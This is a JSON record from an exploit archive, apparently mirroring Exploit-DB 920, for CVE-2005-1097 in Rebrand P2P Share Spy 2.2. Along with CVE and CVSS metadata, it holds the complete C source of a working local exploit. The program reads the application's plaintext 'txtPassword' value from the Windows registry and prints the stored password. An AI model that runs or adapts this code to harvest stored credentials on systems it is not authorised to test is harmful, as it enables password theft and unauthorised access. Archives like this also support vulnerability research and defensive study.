{"exploit":{"id":"EDB-920","name":"Rebrand Software P2P Share Spy 2.2 - Local Password Disclosure","description":"Rebrand Software P2P Share Spy 2.2 - Local Password Disclosure","cves":["CVE-2005-1097"],"author":"Kozan","published":"2005-04-07","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/920","path":"exploits/windows/local/920.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-920.c","vulnerabilities":[{"id":"CVE-2005-1097","state":"PUBLISHED","title":null,"titleSource":null,"description":"Rebrand P2P Share Spy 2.2 stores the user password in plaintext in the txtPassword value in the registry, which allows local users to gain privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-1097","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-1097"},"updatedAt":"2024-09-16T20:07:18.587Z","retrievedAt":"2026-11-26T12:08:55.590Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-920.png?v=2","url":"https://exploitbin.com/exploits/EDB-920","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-920/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-920/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*****************************************************************\n\nP2P Share Spy 2.2 Local Exploit by Kozan\n\nApplication: P2P Share Spy 2.2\nVendor: Rebrand Software - www.rebrandsoftware.com\nVulnerable Description: P2P Share Spy 2.2 discloses passwords\nto local users.\n\nDiscovered & Coded by: Kozan\nCredits to ATmaCA\nWeb : www.netmagister.com\nWeb2: www.spyinstructors.com\nMail: kozan@netmagister.com\n\n*****************************************************************/\n\n#include <stdio.h>\n#include <windows.h>\n\n#define BUFSIZE 100\nHKEY hKey;\nchar Password[BUFSIZE];\nDWORD dwBufLen=BUFSIZE;\nLONG lRet;\n\nint main(void)\n{\n\n       if(RegOpenKeyEx(HKEY_CURRENT_USER,\"Software\\\\VB and VBA Program Settings\\\\P2P Share Spy\\\\Settings\",\n                                       0,\n                                       KEY_QUERY_VALUE,\n                                       &hKey) == ERROR_SUCCESS)\n       {\n\n           lRet = RegQueryValueEx( hKey, \"txtPassword\", NULL, NULL,(LPBYTE) Password, &dwBufLen);\n\n                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){\n                                RegCloseKey(hKey);\n                                printf(\"Not found!\");\n                                return 0;\n                       }\n\n                               RegCloseKey( hKey );\n\n                       printf(\"P2P Share Spy 2.2 Local Exploit by Kozan\\n\");\n                       printf(\"Credits to ATmaCA\\n\");\n                       printf(\"www.netmagister.com  -  www.spyinstructors.com\\n\");\n                       printf(\"kozan@netmagister.com\\n\\n\");\n                       printf(\"Program Opening Password : %s\\n\",Password);\n\n        }\n        else{\n                printf(\"P2P Share Spy 2.2 is not installed on your system!\\n\");\n        }\n\n       return 0;\n}\n\n// milw0rm.com [2005-04-07]","sha256":"02b1bc14ee416b401600115756cf4b13922030be63c0010dadeafc06c163a2c0","bytes":1814,"fetchedAt":"2026-11-26T12:08:50.699Z","encoding":"utf-8 (display only; download retains original bytes)"}